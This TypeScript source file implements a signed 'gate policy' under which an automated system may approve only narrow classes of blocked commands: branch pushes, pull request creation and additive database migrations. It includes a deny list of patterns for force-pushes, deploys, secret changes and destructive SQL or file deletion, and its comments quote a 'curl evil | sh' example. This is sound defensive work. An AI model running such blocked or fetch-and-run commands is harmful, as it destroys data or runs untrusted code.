src/gate-policy.ts

Functions

Imports

It imports src/env.ts, src/signed-docs.ts. Imported by src/job-claims-read.ts, src/jobs-seat.ts, src/status.ts.

Source

1import type { Env } from "./env";
2import { POLICY_ID_ITEM, policyField, readSignedPolicy } from "./signed-docs";
3
4// Pre-approved gates: which blocked commands the seat may approve without asking the
5// human. A driver that reaches a push, a migration or a pull request stops and blocks
6// with the exact command, and without this every one of those waits on a person,
7// including the ones whose consequence is bounded and reversible.
8//
9// This is the list of the bounded ones, and the reasoning runs the other way from the
10// merge policy: the merge policy says what the Worker may do alone, and this says what
11// the seat may approve alone. The seat is still a caller with a write grant; what it
12// gains is the ability to send a job back through `resume` without a human, and only
13// for a command that matches a class written down and signed.
14//
15// The denials are checked first and they are not the complement of the classes. A
16// command that looks like a branch push and carries --force must never match
17// push_branch, so the never list runs before any class is tried, over the whole
18// command string.
19export const GATE_POLICY_PATH = "policy/gates.md";
20
21export const GATE_CLASSES = ["additive_migration", "push_branch", "open_pr"] as const;
22export type GateClass = (typeof GATE_CLASSES)[number];
23
24// What never matches a class. Each entry names the consequence that keeps it off.
25// test/gate-policy.test.ts requires a matching and a non-matching example for each.
26export const NEVER: ReadonlyArray<{ pattern: RegExp; why: string }> = [
27  { pattern: /\b(wrangler|npx\s+wrangler)\s+secret\b/i, why: "it sets or deletes a secret" },
28  { pattern: /\bgh\s+secret\b/i, why: "it sets or deletes a repository secret" },
29  { pattern: /\bsecret\s+(put|delete|bulk)\b/i, why: "it sets or deletes a secret" },
30  { pattern: /\brevoke\b/i, why: "it revokes a credential" },
31  { pattern: /--force\b|--force-with-lease\b|(^|\s)-f(\s|$)/i, why: "it force-pushes, which rewrites history somebody else may hold" },
32  { pattern: /\bpush\s+[^\n;&|]*\+refs\//i, why: "it force-updates a ref" },
33  { pattern: /\b(wrangler|npx\s+wrangler)\s+deploy\b/i, why: "it deploys" },
34  { pattern: /\b(wrangler|npx\s+wrangler)\s+rollback\b/i, why: "it changes what is deployed" },
35  { pattern: /\bwrangler\.jsonc?\b/i, why: "it edits deployment configuration" },
36  { pattern: /\bimprove_mode\b|\bimprove_run\b/i, why: "it changes the loop's mode" },
37  { pattern: /\bdrop\s+(table|index|column)\b/i, why: "it drops a database object" },
38  { pattern: /\bdelete\s+from\b/i, why: "it deletes rows" },
39  { pattern: /\btruncate\b/i, why: "it empties a table" },
40  { pattern: /\brm\s+-rf?\b/i, why: "it deletes files recursively" },
41  { pattern: /\bgh\s+pr\s+merge\b/i, why: "it merges a pull request, which is the human's gate" },
42  // The span stops at a shell separator, so `git push -u origin feat/x && gh pr
43  // create --base master` is not read as a push to a default branch. That is the shape
44  // blocked jobs carry, so the false positive would refuse the ordinary case, while a
45  // `master` in the push's own segment still matches.
46  //
47  // The `-C <path>` form is matched here too. push_branch accepts it, so a never list
48  // that only read `git push` would let `git -C <path> push origin master` through the
49  // one check that exists to stop it.
50  { pattern: /\bgit\s+(?:-C\s+\S+\s+)?push[^\n;&|]*\b(master|main)\b/i, why: "it pushes to a default branch" },
51];
52
53export function deniedReason(command: string): string | null {
54  for (const { pattern, why } of NEVER) {
55    if (pattern.test(command)) return why;
56  }
57  return null;
58}
59
60// The three classes. Each matches a narrow shape, because a loose matcher on this list
61// is a widening nobody reviewed.
62//
63// `git -C <path> push ...` is the same class, and a bare `cd <path>; git push ...` is
64// still refused (see classifySegment). The difference is what the directory reaches. A
65// `cd` is its own segment and moves every segment after it, so approving one would
66// approve a push, a pull request and anything else that follows, in a folder this
67// policy cannot tie to the job's repository. `-C` binds the directory to one git
68// invocation, and the segment is still wholly a branch push: the never list rules out
69// master, main and every force spelling whatever folder it runs in. Without this form a
70// driver has no command that both names its directory and classifies.
71//
72// The path is a narrow character class rather than `\S+`: `*` and `?` are glob
73// characters, and a path carrying one would be decided by the shell when the command
74// ran rather than by what this matched.
75const REPO_PATH = /(?:-C\s+(?:"[A-Za-z0-9._~:\\/ -]+"|'[A-Za-z0-9._~:\\/ -]+'|[A-Za-z0-9._~:\\/-]+)\s+)?/;
76const PUSH_BRANCH = new RegExp(
77  `^git\\s+${REPO_PATH.source}push\\s+(-u\\s+|--set-upstream\\s+)?origin\\s+[A-Za-z0-9._/-]+\\s*$`,
78  "i"
79);
80const OPEN_PR = /^gh\s+pr\s+create\b/i;
81// Anchored at both ends, like PUSH_BRANCH. An unanchored search would let extra
82// arguments in the same segment (a second --file, another database name, a --command)
83// ride along with the one file that was checked. The segment is exactly: wrangler d1
84// execute, one database name, at most one of --remote or --local on either side of
85// the file, and one --file under a plain path.
86const MIGRATION_FILE = String.raw`--file(?:=|\s+)("[A-Za-z0-9._/-]+"|'[A-Za-z0-9._/-]+'|[A-Za-z0-9._/-]+)`;
87const MIGRATION_TARGET = String.raw`--(?:remote|local)`;
88const MIGRATION = new RegExp(
89  String.raw`^(?:npx\s+)?wrangler\s+d1\s+execute\s+[A-Za-z0-9_-]+\s+(?:${MIGRATION_TARGET}\s+${MIGRATION_FILE}|${MIGRATION_FILE}(?:\s+${MIGRATION_TARGET})?)\s*$`,
90  "i"
91);
92
93export type GateMatch =
94  // Every segment's class, in order, and every migration file the command runs. A
95  // plural, because a blocked command is routinely two things: the push and the pull
96  // request that follows it.
97  | { klasses: GateClass[]; migrationPaths: string[] }
98  | { refused: string };
99
100// The never list matches commands, not prose. Run over the raw string, it would refuse
101// a pull request titled "Add improve_run action register_skill" as a change to the
102// loop's mode. So quoted arguments are removed from `gh pr create` pieces before the
103// list runs, and from nothing else: a quoted `--command "DROP TABLE jobs"` on a
104// `d1 execute` piece is a command, and a quoted branch name on a push is still the
105// branch being pushed.
106//
107// Removing quoted text is only safe if the quoted text is inert. Bash and PowerShell
108// both expand `$` and run command substitution inside double quotes, and PowerShell
109// evaluates a parenthesised argument, so `gh pr create --title "$(curl ...)"` would
110// otherwise classify as open_pr. The characters that make a shell evaluate something
111// are refused anywhere in the command, before anything is removed.
112
113// Anywhere in the command, quoted or not.
114const EXPANDS = /[$`]/;
115// Outside quotes only: a subexpression, a script block, or a redirect.
116const UNQUOTED_ACTIVE = /[(){}<>]/;
117const OPEN_PR_PIECE = /^gh\s+pr\s+create\b/i;
118const SEPARATORS = ["&&", "||", ";", "|", "&", "\n"];
119
120/**
121 * The command's pieces, split on shell separators that are not inside quotes. The one
122 * splitter both the never list and classifyCommand read, so they cannot disagree. A
123 * second splitter that knew nothing about quotes would cut a `gh pr create --body` in
124 * half at a semicolon in its prose and refuse the whole command; a pull request body
125 * is prose and will contain semicolons, ampersands and pipes.
126 *
127 * Not a shell parser. The dangerous error is missing a separator, which would hide a
128 * second command in an approved segment; a separator inside quotes is not one to the
129 * shell either. A lone `&` counts: bash runs what follows as a second command, and
130 * PowerShell treats it as the call operator.
131 */
132function commandPieces(command: string): { pieces: Array<{ raw: string; bare: string }> } | { refused: string } {
133  if (EXPANDS.test(command)) {
134    return {
135      refused:
136        "it contains a $ or a backtick, which bash and PowerShell expand even inside double quotes, so part of the command would be decided when it runs. It waits for the human.",
137    };
138  }
139
140  // Each piece keeps its text with and without its quoted spans.
141  const pieces: Array<{ raw: string; bare: string }> = [];
142  let raw = "";
143  let bare = "";
144  let quote: "'" | '"' | null = null;
145  let span = "";
146  for (let i = 0; i < command.length; i++) {
147    const ch = command[i];
148    if (quote) {
149      span += ch;
150      if (ch === quote) {
151        raw += span;
152        // Ends at the first matching quote. Neither shell ends one earlier; a bash `\"`
153        // or PowerShell `""` only makes it run on, and that text is then read as unquoted.
154        bare += quote + quote;
155        quote = null;
156        span = "";
157      }
158      continue;
159    }
160    if (ch === "'" || ch === '"') {
161      quote = ch;
162      span = ch;
163      continue;
164    }
165    const separator = SEPARATORS.find((s) => command.startsWith(s, i));
166    if (separator) {
167      pieces.push({ raw, bare });
168      raw = "";
169      bare = "";
170      i += separator.length - 1;
171      continue;
172    }
173    if (UNQUOTED_ACTIVE.test(ch)) {
174      return {
175        refused: `it contains '${ch}' outside quotes, which is a subexpression, a script block or a redirect in bash or PowerShell. It waits for the human.`,
176      };
177    }
178    raw += ch;
179    bare += ch;
180  }
181  if (quote) return { refused: "it has a quote that never closes, so where its commands end cannot be read. It waits for the human." };
182  pieces.push({ raw, bare });
183  return { pieces };
184}
185
186/** The command as the never list reads it, or why it cannot be read safely. */
187function neverListView(command: string): { view: string } | { refused: string } {
188  const split = commandPieces(command);
189  if ("refused" in split) return split;
190
191  const view = split.pieces
192    .map(({ raw: text, bare: stripped }) => (OPEN_PR_PIECE.test(text.trim()) ? stripped : text))
193    .map((text) => text.trim())
194    .filter(Boolean)
195    .join(" ; ");
196  return { view };
197}
198
199/** The class one segment falls into, or why it falls into none. */
200function classifySegment(segment: string): { klass: GateClass; migrationPath?: string } | { refused: string } {
201  const migration = MIGRATION.exec(segment);
202  if (migration) {
203    // Group 1 or 2, by which side of the file the --remote or --local sits.
204    const path = (migration[1] ?? migration[2]).replace(/^["']|["']$/g, "");
205    if (!/(^|\/)migrations\//i.test(path)) {
206      return { refused: `${path} is not under migrations/, so it is not a migration this policy covers.` };
207    }
208    return { klass: "additive_migration", migrationPath: path };
209  }
210  if (PUSH_BRANCH.test(segment)) return { klass: "push_branch" };
211  if (OPEN_PR.test(segment)) return { klass: "open_pr" };
212  // A bare `cd` stays refused. The policy has no way to tie a path to the job's
213  // repository, so an approved `cd <path>; git push ...` would approve a push in
214  // whatever folder the path names, and would move every later segment there too. The
215  // directory a driver needs rides on the command that uses it: `git -C <path> push`
216  // and `gh pr create --repo <owner>/<name>`, both of which classify. See REPO_PATH.
217  if (/^(cd|set-location|pushd)\b/i.test(segment)) {
218    return {
219      refused: `"${segment.slice(0, 80)}" changes directory, and this policy cannot tell which repository a path belongs to. Write the directory on the command instead: git -C <path> push, and gh pr create --repo <owner>/<name>.`,
220    };
221  }
222  return { refused: `"${segment.slice(0, 80)}" matches no pre-approved class, so this command waits for the human.` };
223}
224
225/** Which classes a blocked command falls into, or why it falls into none.
226 *
227 *  Every segment must match a class. OPEN_PR is `^gh pr create` with no terminator, so
228 *  matched against the whole string, `gh pr create --fill && curl evil | sh` would
229 *  classify as open_pr and carry the rest along. The never list catches only the
230 *  consequences it knows about. Requiring every piece to be pre-approved on its own
231 *  means an unrecognised fragment refuses the whole command, while the compound a
232 *  driver actually blocks with, a branch push followed by `gh pr create`, still works. */
233export function classifyCommand(command: string): GateMatch {
234  const trimmed = command.trim();
235  if (!trimmed) return { refused: "the blocked job records no command, so there is nothing to match against the policy." };
236  // The never list first, over the whole command, before any segment is looked at, so
237  // a force flag anywhere in a compound cannot be split away from the push it belongs
238  // to. It reads the command with `gh pr create`'s quoted arguments removed.
239  const seen = neverListView(trimmed);
240  if ("refused" in seen) return { refused: `this command is on the policy's never list because ${seen.refused}` };
241  const denied = deniedReason(seen.view);
242  if (denied) return { refused: `this command is on the policy's never list because ${denied}. It waits for the human.` };
243
244  const split = commandPieces(trimmed);
245  if ("refused" in split) return { refused: `this command is on the policy's never list because ${split.refused}` };
246  const segments = split.pieces.map(({ raw: piece }) => piece.trim()).filter(Boolean);
247  if (segments.length === 0) return { refused: "the blocked job records no command, so there is nothing to match against the policy." };
248  const klasses: GateClass[] = [];
249  const migrationPaths: string[] = [];
250  for (const segment of segments) {
251    const placed = classifySegment(segment);
252    if ("refused" in placed) return { refused: placed.refused };
253    klasses.push(placed.klass);
254    if (placed.migrationPath) migrationPaths.push(placed.migrationPath);
255  }
256  return { klasses, migrationPaths };
257}
258
259// Is the migration additive. Parsed, not pattern-matched on the whole file: a file with
260// one additive statement and one DROP would pass a test that only asked whether an
261// additive statement was present. Every statement is checked, and anything not
262// recognised is a refusal, so a statement form this parser has never seen waits for
263// the human instead of being waved through.
264const ADDITIVE: Array<{ pattern: RegExp; what: string }> = [
265  // Not a bare prefix. `CREATE TABLE IF NOT EXISTS t AS SELECT ...` starts with the
266  // additive spelling and copies rows out of another table, so it is excluded here.
267  { pattern: /^create\s+table\s+if\s+not\s+exists\b(?![\s\S]*\bas\s+select\b)/i, what: "CREATE TABLE IF NOT EXISTS" },
268  // The `COLUMN` keyword is required, so `ALTER TABLE t ADD CONSTRAINT ...` is not
269  // called an added column. SQLite accepts the keyword and the policy document names
270  // it, so demanding it costs a migration author one word.
271  { pattern: /^alter\s+table\s+\S+\s+add\s+column\b/i, what: "ALTER TABLE ADD COLUMN" },
272  { pattern: /^create\s+(unique\s+)?index\s+(if\s+not\s+exists\s+)?/i, what: "CREATE INDEX" },
273];
274
275export function splitStatements(sql: string): string[] {
276  // Comments first, so a DROP inside a comment is not read as a statement and a
277  // semicolon inside one does not split.
278  const withoutComments = sql.replace(/--[^\n]*/g, "").replace(/\/\*[\s\S]*?\*\//g, "");
279  return withoutComments
280    .split(";")
281    .map((s) => s.trim())
282    .filter(Boolean);
283}
284
285export function isAdditiveMigration(sql: string): { ok: true; statements: string[] } | { ok: false; reason: string } {
286  const statements = splitStatements(sql);
287  if (statements.length === 0) return { ok: false, reason: "the migration file contains no statements." };
288  const kinds: string[] = [];
289  for (const statement of statements) {
290    const match = ADDITIVE.find(({ pattern }) => pattern.test(statement));
291    if (!match) {
292      return {
293        ok: false,
294        reason: `the migration contains a statement this policy does not call additive: "${statement.slice(0, 80)}". Only CREATE TABLE IF NOT EXISTS, ALTER TABLE ADD COLUMN and CREATE INDEX are pre-approved.`,
295      };
296    }
297    kinds.push(match.what);
298  }
299  return { ok: true, statements: kinds };
300}
301
302export interface GatePolicy {
303  version: string;
304  enabled: boolean;
305  classes: string[];
306}
307
308export function parseGatePolicy(body: string): { policy: GatePolicy } | { error: string } {
309  const version = policyField(body, "version");
310  if (!version) return { error: "the gate policy names no version, so an approval against it cannot be traced to what it allowed." };
311  const enabled = policyField(body, "enabled");
312  if (enabled === null) return { error: "the gate policy does not say whether it is enabled." };
313  const classes: string[] = [];
314  for (const line of body.split("\n")) {
315    const match = POLICY_ID_ITEM.exec(line.trim());
316    if (match) classes.push(match[1]);
317  }
318  return { policy: { version, enabled: enabled.toLowerCase() === "true", classes } };
319}
320
321export async function loadGatePolicy(env: Env): Promise<{ policy: GatePolicy } | { error: string }> {
322  const read = await readSignedPolicy(env, GATE_POLICY_PATH, "gate policy", "nothing is pre-approved");
323  if ("error" in read) return read;
324  const parsed = parseGatePolicy(read.body);
325  if ("error" in parsed) return parsed;
326  const missing = GATE_CLASSES.filter((c) => !parsed.policy.classes.includes(c));
327  if (missing.length > 0) {
328    return {
329      error: `the gate policy does not name ${missing.join(", ")}, which this Worker would approve. Refusing rather than approving against a policy that describes less than the code does.`,
330    };
331  }
332  return parsed;
333}
334
335export type ApprovalVerdict =
336  // `klass` is every class that matched, joined with "+", because a compound command
337  // is routinely two of them and an audit row naming only the first describes less
338  // than was approved. `klasses` keeps the structured form.
339  | { approved: true; klass: string; klasses: GateClass[]; detail: string; policyVersion: string }
340  | { approved: false; reason: string };
341
342/**
343 * Whether the seat may send this blocked command back in on the policy alone.
344 * `readMigration` is passed in so the caller owns the repo read and this stays
345 * testable without a GitHub fake. It returns the file, null when there is none, or
346 * throws with the reason it could not be read.
347 */
348export async function approveByPolicy(
349  env: Env,
350  requestedVersion: string,
351  command: string | null,
352  readMigration: (path: string) => Promise<string | null>
353): Promise<ApprovalVerdict> {
354  const loaded = await loadGatePolicy(env);
355  if ("error" in loaded) return { approved: false, reason: loaded.error };
356  const policy = loaded.policy;
357  if (!policy.enabled) {
358    return { approved: false, reason: `gate policy ${policy.version} is present and disabled, so nothing is pre-approved.` };
359  }
360  if (requestedVersion !== policy.version) {
361    return {
362      approved: false,
363      reason: `this approval names policy version '${requestedVersion}' and the stored policy is version '${policy.version}'. Re-read the policy before approving against it.`,
364    };
365  }
366  if (!command) {
367    return { approved: false, reason: "this blocked job records no command, so there is nothing for the policy to match." };
368  }
369
370  const match = classifyCommand(command);
371  if ("refused" in match) return { approved: false, reason: match.refused };
372
373  // Every migration the command runs is parsed, not just the first, or a compound
374  // naming two files would have one of them checked.
375  const details: string[] = [];
376  for (const path of match.migrationPaths) {
377    // A reader that throws says why it could not read, and the refusal carries that.
378    let sql: string | null;
379    try {
380      sql = await readMigration(path);
381    } catch (err) {
382      return {
383        approved: false,
384        reason: `${path} could not be read (${err instanceof Error ? err.message : String(err)}), so its statements could not be checked. A migration nobody parsed is not pre-approved.`,
385      };
386    }
387    if (sql === null) {
388      return { approved: false, reason: `${path} could not be read, so its statements could not be checked. A migration nobody parsed is not pre-approved.` };
389    }
390    const additive = isAdditiveMigration(sql);
391    if (!additive.ok) return { approved: false, reason: additive.reason };
392    details.push(`${path}: ${additive.statements.join(", ")}`);
393  }
394
395  return {
396    approved: true,
397    klass: match.klasses.join("+"),
398    klasses: match.klasses,
399    detail: details.length > 0 ? details.join("; ") : command.trim(),
400    policyVersion: policy.version,
401  };
402}